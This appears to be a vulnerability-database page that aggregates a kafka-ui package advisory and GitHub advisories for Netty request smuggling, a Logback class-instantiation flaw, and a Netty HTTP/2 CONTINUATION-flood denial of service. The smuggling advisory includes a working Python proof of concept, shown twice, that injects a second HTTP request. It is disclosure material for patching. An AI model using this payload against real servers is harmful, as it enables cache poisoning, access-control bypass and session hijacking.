Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:37
Summary
Security fixes in kafka-ui 1.3.0-r2
Details
Package kafka-ui version 1.3.0-r2 fixes 13 vulnerabilities: ghsa-w9fj-cfpg-grvv, ghsa-4773-3jfm-qmx3, ghsa-pwqr-wmgm-9rr8, ghsa-mf92-479x-3373, ghsa-6hcq-hmm3-jj3c...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kafka-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.3.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kafka-ui version 1.3.0-r2 fixes 13 vulnerabilities: ghsa-w9fj-cfpg-grvv, ghsa-4773-3jfm-qmx3, ghsa-pwqr-wmgm-9rr8, ghsa-mf92-479x-3373, ghsa-6hcq-hmm3-jj3c...",
"id": "CLEANSTART-2026-BV41278",
"modified": "2026-07-30T09:37:53Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kafbat/kafka-ui"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kafka-ui 1.3.0-r2",
"upstream": [
"ghsa-w9fj-cfpg-grvv",
"ghsa-4773-3jfm-qmx3",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-mf92-479x-3373",
"ghsa-6hcq-hmm3-jj3c",
"ghsa-qqpg-mvqg-649v",
"ghsa-72hv-8253-57qq",
"CVE-2026-1225",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-22732",
"CVE-2026-22737",
"CVE-2026-22735"
]
}
GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49
VLAI
Summary
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Details
Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
GHSA-QQPG-MVQG-649V
Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06
VLAI
Summary
Logback allows an attacker to instantiate classes already present on the class path
Details
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1225"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:06:44Z",
"nvd_published_at": "2026-01-22T10:16:07Z",
"severity": "LOW"
},
"details": "ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
"id": "GHSA-qqpg-mvqg-649v",
"modified": "2026-01-22T18:06:44Z",
"published": "2026-01-22T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/997"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Logback allows an attacker to instantiate classes already present on the class path"
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48
VLAI
Summary
Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass
Details
Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…